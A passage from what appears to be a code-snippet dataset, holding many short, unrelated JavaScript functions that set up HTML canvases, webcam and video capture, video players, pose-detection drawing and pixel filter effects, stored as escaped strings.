this.keyDown(event));\n\n this.resize();\n }","function Init() {\r\n // Get context handles\r\n CanvasHandle = document.getElementById(\"canvas\");\r\n ContextHandle = CanvasHandle.getContext(\"2d\");\r\n CanvasWidth = ContextHandle.canvas.clientWidth;\r\n CanvasHeight = ContextHandle.canvas.clientHeight;\r\n\r\n // Create an image backbuffer\r\n BackCanvasHandle = document.createElement(\"canvas\");\r\n BackContextHandle = BackCanvasHandle.getContext(\"2d\");\r\n BackCanvasHandle.width = CanvasWidth;\r\n BackCanvasHandle.height = CanvasHeight;\r\n\r\n // Set line style\r\n BackContextHandle.lineCap = \"butt\";\r\n BackContextHandle.lineJoin = \"round\";\r\n BackContextHandle.strokeStyle = \"rgb(255, 255, 255)\";\r\n\r\n // Get the canvas center\r\n CenterX = CanvasWidth / 2;\r\n CenterY = CanvasHeight / 2;\r\n Camera = {x:0, y:0, r:20};\r\n}","function init() {\n redrawTIAIndicator = true;\n usePhosphor = false;\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\n\n // Allocate buffers for two frame buffers\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\n initPalettes();\n loadImages();\n jsvideo.initialize();\n }","function video() {\n\t\t$('#wrapper').fitVids();\n\t}","function paintToCanvas() {\n // first we need the width and height\n const width = video.videoWidth;\n const height = video.videoHeight;\n // make sure now that the canvas is the same size as the video before we paint into it\n canvas.width = width;\n canvas.height = height;\n\n // now ever x seconds we're going to snap a picture\n setInterval(() => {\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\n // take the pixels out\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\n // messing with the pixels\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\n ctx.globalAlpha = 0.8;\n //pixels = greenScreen(pixels);\n // putting the pixels back back\n ctx.putImageData(pixels, 0, 0);\n }, 16); // here every 16 milliseconds a picture is taken from the video\n}","function initCanvas() {\n if(isDebugged) {\n debug.style.display = \"block\";\n } else {\n debug.style.display = \"none\";\n }\n\n console.log(\"initializing canvas\");\n\n //var canvasElement = document.querySelector(\"#canvas\");\n canvas = new fabric.Canvas(\"canvas\",{\n selection: false,\n height: canvas_initial_height,\n width: canvas_initial_width,\n backgroundColor: canvas_background_color\n });\n\n //canvas.isDrawingMode = true;\n\n canvas.on(\"mouse:down\", onMouseDownCanvas);\n\n canvas.on(\"mouse:up\", onMouseUpCanvas);\n\n canvas.on(\"mouse:move\", onMouseMoveCanvas);\n\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\n}","function setupMedia() {\n if (supportsMedia()) {\n audioContext = new AudioContext();\n\n navigator.getUserMedia(\n {\n video: false,\n audio: true\n },\n function (localMediaStream) {\n // map the camera\n var video = document.getElementById('live_video');\n video.src = window.URL.createObjectURL(localMediaStream);\n\n // create the canvas & get a 2d context\n videoCanvas = document.createElement('canvas');\n videoContext = videoCanvas.getContext('2d');\n\n // setup audio recorder\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\n //audioInput.connect(audioContext.destination);\n // had to replace the above with the following to mute playback\n // (so you don't get feedback)\n var audioGain = audioContext.createGain();\n audioGain.gain.value = 0;\n audioInput.connect(audioGain);\n audioGain.connect(audioContext.destination);\n\n audioRecorder = new Recorder(audioInput);\n mediaStream = localMediaStream;\n mediaInitialized = true;\n\n document.getElementById('uploading').hidden = true;\n document.getElementById('media-error').hidden = true;\n document.getElementById('record').hidden = false;\n },\n function (e) {\n console.log('web-cam & microphone not initialized: ', e);\n document.getElementById('media-error').hidden = false;\n }\n );\n }\n}","function init(){\n W = canvas.width = window.innerWidth;\n H = canvas.height = window.innerHeight;\n\n // getting all the frames into the array of frames\n loadFrames();\n // creating the origin object\n origin = new Origin();\n}","function setUpCanvas() {\n /* clearing up the screen */\n clear();\n /* Set display size (vw/vh). */\n var sizeWidth = (80 * window.innerWidth) / 100,\n sizeHeight = window.innerHeight;\n //Setting the canvas site and width to be responsive\n upperLayer.width = sizeWidth;\n upperLayer.height = sizeHeight;\n upperLayer.style.width = sizeWidth;\n upperLayer.style.height = sizeHeight;\n lowerLayer.width = sizeWidth;\n lowerLayer.height = sizeHeight;\n lowerLayer.style.width = sizeWidth;\n lowerLayer.style.height = sizeHeight;\n rect = upperLayer.getBoundingClientRect();\n}","function setup() {\n createCanvas(640, 480);\n\n video = createCapture(VIDEO);\n video.size(width, height);\n\n // Create a new poseNet method with a single detection\n poseNet = ml5.poseNet(video, modelReady);\n // This sets up an event that fills the global variable \"poses\"\n // with an array every time new poses are detected\n poseNet.on('pose', function(results) {\n poses = results;\n debugger;\n });\n // Hide the video element, and just show the canvas\n video.hide();\n}","function initVideo(){\n\t\t//fit all videos in their parent container\n\t\tjQuery(\".scalevid\").fitVids();\n\t}","function initCanvasAndEditor() {\n // Editor\n initEditor();\n\n // Canvas\n canvasResizer();\n renderCanvas();\n\n // Listeners\n addListeners();\n}","run() {\n requestAnimationFrame(() => {\n this.runFrame();\n });\n\n this.output.video.run();\n\n this.running = true;\n this.paused = false;\n }","function init() \n {\n\t\t\n\t\t// initialize variables\n\t\tvideo = document.getElementById(\"video1\");\n\t\tcanvas = document.getElementById(\"canvas\");\n\t\ttime_slider = document.getElementById(\"time_slider\");\n label_CurrenFrame = document.getElementById(\"currentFrameTime\");\n label_VideoLength = document.getElementById(\"videoLength\");\n\t\tprevious_frame = document.getElementById(\"previousFrame\");\n\t\tnext_frame = document.getElementById(\"nextFrame\");\n\t\tcontainer = document.getElementById(\"container\");\n\t\tcreate_sum = document.getElementById(\"submit\");\n\t\t\n //initialize events\n\t\tcanvas.addEventListener(\"click\", saveFrame, false);\n\t\tcanvas.addEventListener(\"mousemove\", mouseMove, false);\n\t\ttime_slider.addEventListener(\"change\", UpdateFrame, false);\n\t\ttime_slider.addEventListener(\"input\", UpdateFrame, false);\n\t\t\n\t\tdocument.getElementById('files').addEventListener('change', FileChosen);\n\t\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \n\t\t\n video.addEventListener('loadeddata', function () {\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\n });\n \n\t\tprevious_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second <= 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second--;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tnext_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (video === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second >= video.duration) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second++;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tdocument.getElementById('submit').addEventListener('click', \n\t\tfunction() {\n\t\t\tupdateDescriptions();\n\t\t\tvar result = combineSegments();\n\t\t\tconsole.log(result);\n\t\t\t// send result to server!\n \t\t\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\n\t\t\tdocument.getElementById(\"create_progress\").innerHTML='Creating summary... 0%';\n \n\t\t\tResetSegments();\n\t\t},\n\t\tfalse);\n\t\t\n\t\t// initialize player\n\t\tinitPlayer();\n\t\n\t}","function initialize() {\n // will create HTML5 video element in staging area if not present\n getDOMVideo();\n isInitialized = true;\n }","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","function drawFrameOnCanvas(frame) {\n\t\n\t\tvar reset = frame.reset;\n\t\n canvas.height = video.videoHeight;\n canvas.width = video.videoWidth;\n\t\t// retrieve context for drawing\n\t\tvar context = canvas.getContext(\"2d\");\n\t\t\t\t\n\t\t// Start by clearing the canvas\n\t\tcontext.clearRect(0, 0, canvas.width, canvas.height);\n\t\t\n\t\t// draw frame according to time\n\t\t\n\t\tif (reset) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\n \n }","function renderUIAfterFrameChange(videoNode) {\n\n const video = videoNode.data.videoCore\n\n /* Rendering the current time bar */\n renderCurrentPlaybackBar(videoNode)\n\n /* Updating the canvas resolution */\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n\n canvasRatio = canvas.width / canvas.height\n videoRatio = video.videoWidth / video.videoHeight\n\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\n ).toFixed(2))\n \n if (videoNode.data.metadata.ratio == 'fit') {\n if (window.currentRatio == 'strech') {\n document.querySelector('.toogle-fit').click()\n }\n context.drawImage(\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\n ) \n } else if (videoNode.data.metadata.ratio == 'strech') {\n if (window.currentRatio === 'fit') {\n document.querySelector('.toogle-strech').click()\n }\n context.drawImage(\n video, 0, 0, canvas.width, canvas.height\n )\n }\n}","function init() {\n\t\t\tconstructVideoPlayerContent(elems.container);\n\t\t\tshowControls();\n\t\t\t_.event(elems.btnBigPlay, 'click', play);\n\t\t\t_.event(elems.buttons.play, 'click', playPause);\n\t\t\t_.event(elems.video, 'click', pause);\n\t\t\t_.event(elems.buttons.volume, 'click', mute);\n\t\t\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\n\t\t\t_.event(elems.video, 'loadedmetadata', function(e) {\n\t\t\t\tplaybackRate(opts.speed);\n\t\t\t\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\n\t\t\t\t\tonDrop: (pct) => progress(pct, true),\n\t\t\t\t});\n\t\t\t\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\n\t\t\t\t\tonDrag: volume,\n\t\t\t\t});\n\t\t\t\tvolume(opts.volume);\n\t\t\t\tprogress(opts.progress);\n\t\t\t\ttimestamp(0, elems.video.duration);\n\t\t\t\tif (opts.autoplay) play();\n\t\t\t});\n\t\t\t_.event(elems.video, 'timeupdate', progUpdate);\n\t\t\t_.event(elems.main, 'mousemove', showControls);\n\t\t\t_.event(elems.controls, 'mouseenter', () => showControls(true));\n\t\t\t_.event(elems.controls, 'mouseleave', () => showControls(false));\n\t\t\t_.event(window, 'keyup', handleKeyPress);\n\t\t\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\n\t\t\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\n\n\t\t\tif (opts.fullscreen) fullscreen(true);\n\t\t\telems.video.src = opts.src;\n\t\t}","function setup() {\n // set up canvas\n let canvas = createCanvas(canvasW, canvasH);\n canvas.parent('canvas');\n\n}","init() {\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\n\n if (this.ctx) {\n this.playBtn.addEventListener('click', () => {\n this.playBtn.classList.add('active');\n this.startTheGame();\n });\n\n this.retryBtn.addEventListener('click', () => {\n this.reset();\n this.retryBtn.classList.add('inactive');\n this.startTheGame();\n });\n }\n }","initBoard() {\n this.canvas = document.createElement('canvas');\n this.ctx = this.canvas.getContext('2d');\n this.width = this.canvas.width = this.tileWidth * this.columns;\n this.height = this.canvas.height = this.tileHeight * this.rows;\n this.canvas.style.border = \"none\";\n this.initStage();\n }","function initialize() {\n webcamElement = document.getElementById('webcam');\n canvasElement = document.getElementById('canvas');\n webcam = new Webcam(webcamElement, 'user', canvasElement);\n snapButtonElement = document.getElementById('capture');\n startButtonElement = document.getElementById('retake');\n}","function videoReady() { }","setUpCanvas(){\n var w = window.innerWidth;\n var h = window.innerHeight;\n this.$canvas = $(`\\n ccwc-video {\\n display: inline-block;\\n background-color: black;\\n position: relative;\\n overflow: hidden;\\n }\\n \\n ccwc-video > canvas {\\n position: absolute;\\n }\\n \\n ccwc-video > video {\\n position: absolute;\\n }\\n \\n\\n \\n `;\\n }\",\n \"async function populateVideo() {\\n // We grab the feed off the user's webcam\\n const stream = await navigator.mediaDevices.getUserMedia({\\n video: { width: 1280, height: 720 },\\n });\\n\\n // We set the object to be the stream\\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\\n await video.play();\\n\\n // size the canvases to be the same size as the video\\n console.log(video.videoWidth, video.videoHeight);\\n\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n\\n faceCanvas.width = video.videoWidth;\\n faceCanvas.height = video.videoHeight;\\n}\",\n \"function paintToCanvas() {\\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\\n // Since the width of the photobooth is appx 1330px \\n // the canvas will also take width of 1330px\\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\\n // therefore you can change the aspect ratio by changing the width and height of the canvas\\n // if you remove the width 100% from its css , it will regain the size of 640*480\\n\\n // width and height = 640 * 480 \\n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\\n // setting canvas width and height = 640*480\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n [canvas.width, canvas.height] = [width, height];\\n\\n // the video playing in the canvas is not a actual video\\n // but rather a image showing every few millisecond (giving us a video like visual)\\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\\n return setInterval(() => {\\n // ctx.drawImage will draw the image captured from the video feed\\n // 0,0 are the x and y coordinate of the top left corner of the canvas\\n // it will indicate that from which point the image drawing will start\\n // width and height is of the destination contex(canvas)\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\\n\\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \\n // pixels will store the image data in form of array of rgb values for individual pixels\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // Rendering different effects for the pixels\\n // Every image captured from the video feed every 16ms will go through these function everytime\\n // The pixels returned by these function will have different rgb values as compared to the original pixels\\n\\n // This is for red filter\\n // pixels = redEffect(pixels);\\n\\n // This is for rgbSplit(tiktok) filter\\n // pixels = rgbSplit(pixels);\\n\\n // This is for green screen\\n pixels = greenScreen(pixels);\\n\\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\\n // ctx.globalAlpha = 0.8\\n\\n // this will put the modified pixels back into the canvas\\n // thus showing the filter on the video\\n ctx.putImageData(pixels, 0, 0)\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.fillStyle = '#000000';\\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.lineWidth = 5;\\n ctx.fillStyle = '#00FFFF';\\n ctx.strokeStyle = '#00FFFF';\\n\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function installcanvas () {\\n\\n // if there's an iframe\\n var iframe = document.getElementById('tool_content');\\n if (iframe) {\\n \\t\\taddEventListener(\\\"message\\\", installfromiframe('#content', 'about:blank', ''), false);\\n } \\n \\n // multiple videos as per\\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \\n else {\\n\\n // video locations that may need a click to access \\n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\\n // known video locations\\n var matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n\\n // if any known videos exist, launch those\\n if (matches) {\\n\\n // loop through all known videos\\n for (var i = 0; i < matches.length; i++) {\\n\\n // pull out the video number\\n matches[i] = matches[i].replace(/\\\\D/g, \\\"\\\");\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n\\n // only supporting mp4 at the moment\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data \\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('
    ');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n parameter.playing = false;\\n\\n // find if the video is playing\\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\\n parameter.playing = true;\\n }\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n\\n // click on all possible video containers, watch if things change\\n if (containers.length != 0) {\\n\\n // watch for changes for each container\\n for(var i = 0; i < containers.length; i++) {\\n\\n // use mutation observer as per \\n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\\n var observer = new MutationObserver(function (mutations) {\\n mutations.forEach(function (mutation) {\\n\\n // see if changes are to the child of the container\\n if (mutation.type === 'childList') {\\n\\n // look through each child\\n Array.prototype.forEach.call(mutation.target.children, function (child) {\\n\\n // match (only once per video) -- same code as if (matches) branch\\n matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n if (matches) {\\n for (var i = 0; i < matches.length; i++) {\\n matches[i] = matches[i].replace(/\\\\D/g, '');\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data for time\\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('
    ');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n parameter.playing = false;\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n });\\n }\\n });\\n });\\n\\n // actually start observing\\n observer.observe(containers[i], {\\n childList: true,\\n characterData: true,\\n subtree: true\\n });\\n }\\n\\n // simulate click, waits for link to appear\\n $('.media_comment_thumbnail').click(); \\n } \\n\\n // no possible video containers, apologize\\n else {\\n apologize();\\n }\\n }\\n}\",\n \"function init() {\\n\\t\\tconsole.log('init');\\n\\t\\t// Put event listeners into place\\n\\t\\t// Notice that in this specific case handlers are loaded on the onload event\\n\\t\\twindow.addEventListener(\\n\\t\\t\\t'DOMContentLoaded',\\n\\t\\t\\tfunction() {\\n\\t\\t\\t\\t// Grab elements, create settings, etc.\\n\\t\\t\\t\\tvar canvas = document.getElementById('canvas');\\n\\t\\t\\t\\tvar context = canvas.getContext('2d');\\n\\t\\t\\t\\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\\n\\t\\t\\t\\tvar video = document.getElementById('video');\\n\\t\\t\\t\\tvar mediaConfig = {\\n\\t\\t\\t\\t\\tvideo: true\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\tvar errBack = function(e) {\\n\\t\\t\\t\\t\\tconsole.log('An error has occurred!', e);\\n\\t\\t\\t\\t};\\n\\n\\t\\t\\t\\tlet aspectRatio = 2;\\n\\n\\t\\t\\t\\t// Put video listeners into place\\n\\t\\t\\t\\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n\\t\\t\\t\\t\\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n\\t\\t\\t\\t\\t\\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Trigger photo take\\n\\t\\t\\t\\tdocument.getElementById('snap').addEventListener('click', function() {\\n\\t\\t\\t\\t\\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\\n\\t\\t\\t\\t\\tlet heigth = 480;\\n\\n\\t\\t\\t\\t\\tcontext.save();\\n\\t\\t\\t\\t\\tcontext.translate(480 * aspectRatio, 0);\\n\\t\\t\\t\\t\\tcontext.scale(-1, 1);\\n\\t\\t\\t\\t\\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\\n\\t\\t\\t\\t\\tcontext.restore();\\n\\t\\t\\t\\t\\tstate.photoSnapped = true; // photo has been taken\\n\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\t// Trigger when upload button is pressed\\n\\t\\t\\t\\tif (document.getElementById('upload'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// uploadImage();\\n\\t\\t\\t\\t\\t\\tselectImage();\\n\\t\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\tif (document.getElementById('upload_search'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload_search').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// searchImage();\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t},\\n\\t\\t\\tfalse\\n\\t\\t);\\n\\t}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, 640, 480);\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function startVideo(){\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n canvas.getContext('2d').\\n drawImage(video, 0, 0, canvas.width, canvas.height);\\n $scope.sendPicture();\\n}\",\n \"function paintToCanvas() {\\n // We need to make sure canvas and video are the same width/height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n canvas.width = width;\\n canvas.height = height;\\n\\n // Every couple seconds, take image from webcam and put it onto canvas\\n return setInterval(() => {\\n // drawImage: pass it an image/video and it will place it on the canvas\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // Take pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\\n\\n // Play around with pixels\\n switch (this.className) {\\n case 'red':\\n pixels = redEffect(pixels);\\n break;\\n case 'split':\\n ctx.globalAlpha = 0.1;\\n pixels = rgbSplit(pixels);\\n break;\\n case 'green':\\n pixels = greenScreen(pixels);\\n }\\n\\n // Put pixels back into canvas\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n drawKeypoints();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function currentFrameCanvas(){\\n let video = document.getElementById(\\\"video_id\\\");\\n canvas = document.getElementById('screenShot');\\n canvas.width = width;\\n canvas.height = height;\\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawCameraIntoCanvas() {\\n\\n // draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, video.width, video.height);\\n \\n if (body) {\\n // draw circle for left and right Eye\\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\\n\\n\\n\\n // draw left Eye\\n ctx.beginPath();\\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n // draw right Eye\\n ctx.beginPath();\\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n\\n ctx.beginPath();\\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\\n ctx.lineWidth = 10;\\n ctx.strokeStyle = 'white';\\n ctx.stroke();\\n }\\n requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function createCanvas() {\\n // console.log(parseInt(pixelByPixel.value));\\n selectedFrameData = null;\\n selectedFrameData = {};\\n layerCount = 0;\\n framesArray = [],\\n currentFrame = 0,\\n playbackRunning = false,\\n playbackInterval = null,\\n unsavedFrame = false;\\n removeListeners();\\n resetFrames();\\n resetLayers();\\n resetSelectionState();\\n addDisplayFrame(0);\\n setCurrentFrame(0);\\n initCanvas(\\\"2d\\\", parseInt(pixelByPixel.value));\\n}\",\n \"function paintToCanvas() {\\n // get the width and height of the actual live feed video\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n\\n // set canvas width and height to be the same as the live feed video\\n canvas.width = width;\\n canvas.height = height;\\n\\n // every 16ms, take the image from the webcam and put it into the canvas\\n return setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // mess with them\\n // pixels = redEffect(pixels);\\n\\n // pixels = redSplit(pixels);\\n // ctx.globalAlpha = 0.8;\\n\\n pixels = greenScreen(pixels);\\n\\n // put them back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function initPreview() {\\n\\t\\n\\t//clear the canvas first\\n\\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\\n\\t\\n\\t//what file type are we dealing with\\n\\tif (fileType == \\\"VIDEO\\\") {\\n\\t\\t\\n\\t\\tsampleWidth = 50;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\tvideoArea.width = sampleWidth;\\n\\t\\tvideoArea.height = sampleHeight;\\n\\t\\t\\n\\t\\t//reset size of the canvas\\n\\t\\tcanvasPreview.width = sampleWidth;\\n\\t\\tcanvasPreview.height = sampleHeight;\\n\\t\\tpreviewArea.style.width = sampleWidth + \\\"px\\\";\\n\\t\\tpreviewArea.style.height = sampleHeight + \\\"px\\\";\\n\\t\\t\\n\\t\\t//set the video in the videoArea so it starts playing\\n\\t\\tvideoArea.type = file.type;\\n\\t\\tvideoArea.src = fileURL;\\n\\t\\t\\n\\t\\t//set fileWidth\\n\\t\\tfileWidth = sampleWidth;\\n\\t\\tfileHeight = sampleHeight;\\n\\t\\t\\n\\t\\t//make a sample first\\n\\t\\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\\n\\t\\t\\n\\t\\t//initBuffers();\\n\\t\\t\\n\\t\\t\\n\\t\\t/*document.onclick = function() {\\n\\t\\t\\tinitCubes();\\n\\t\\t}*/\\n\\t\\t\\n\\t\\t//keep updating cubes based on the options\\n\\t\\t//startUpdateCubesInterval();\\n\\t\\tsetTimeout(initPlanes, 2000);\\n\\t\\tstartUpdatePlanesInterval();\\n\\t\\tstopUpdateCubesInterval();\\n\\t\\t\\n\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\tstartThreeInterval();\\n\\n\\t\\t\\n\\t} else if (fileType == \\\"IMAGE\\\") {\\n\\t\\t\\n\\t\\t\\n\\t\\tsampleWidth = 30;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\t\\n\\t\\t//load the image data and display in the 